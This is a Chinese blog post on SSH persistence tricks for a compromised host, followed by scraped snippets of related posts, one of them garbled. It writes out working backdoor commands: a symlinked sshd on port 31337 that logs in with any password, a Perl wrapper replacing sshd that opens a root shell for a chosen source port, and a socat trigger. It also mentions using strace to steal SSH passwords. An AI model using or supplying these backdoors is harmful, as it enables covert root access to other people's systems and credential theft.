滲透技巧之ssh

2021-08-08 13:59:41 字數 1015 閱讀 6821

肉雞上執行

mickey@vic:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=31337;
就會派生乙個31337埠,然後連線31337,用root/bin/ftp/mail當使用者名稱,密碼隨意,就可登陸。

效果圖:

在肉雞上執行:

[root@localhost ~]# cd /usr/sbin

[root@localhost sbin]# mv sshd ../bin

[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd

[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(stdin) =~ /^..4a/);' >>sshd

[root@localhost sbin]# echo 'exec "/usr/sbin/sshd",@argv,' >>sshd

[root@localhost sbin]# chmod u+x sshd

[root@localhost sbin]# /etc/init.d/sshd restart

在本機執行:

socat stdio tcp4:10.18.180.20:22,sourceport=13377
如果你想修改源埠,可以用python的struct標準庫實現

>>> import struct

>>> buffer = struct.pack('>i6',19526)

>>> print repr(buffer)

'\x00\x00lf'

>>> buffer = struct.pack('>i6',13377)

>>> print buffer

4a

效果圖如下:

搞定主機後,往往想記錄肉雞ssh連線到其他主機的密碼,進一步擴大戰果,使用strace命令就行了。

效果圖:

滲透技巧之SSH篇

mickey 2014 05 12 13 57 用些小技巧,濛濛菜鳥管理員。肉雞上執行 bash email protected ln sf usr sbin sshd tmp su tmp su oport 31337 複製 就會派生乙個31337埠,然後連線31337,用root bin ftp...

滲透測試 SSH

安全shell ssh 服務提供了對unix和windows系統的加密訪問,通過ssh可以進行命令列shell訪問 檔案訪問與安全ftp 以及簡單的vpn服務。由於使用明文的服務 如telnet 存在的弱點經常會被攻擊者利用來突破網路,所以ssh應運而生,主要用於實現對伺服器的加密訪問,以達到安全地...

ssh 使用技巧

1 在a機壓縮後,複製到b機器並解壓縮 tar cf opt dir1 ssh 192.168.0.116 cd opt tar xf 2 在a機壓縮,並將壓縮檔案複製到b機 tar cf opt dir1 ssh 192.168.0.116 cd opt cat dir1.tar 3 將a機的壓縮...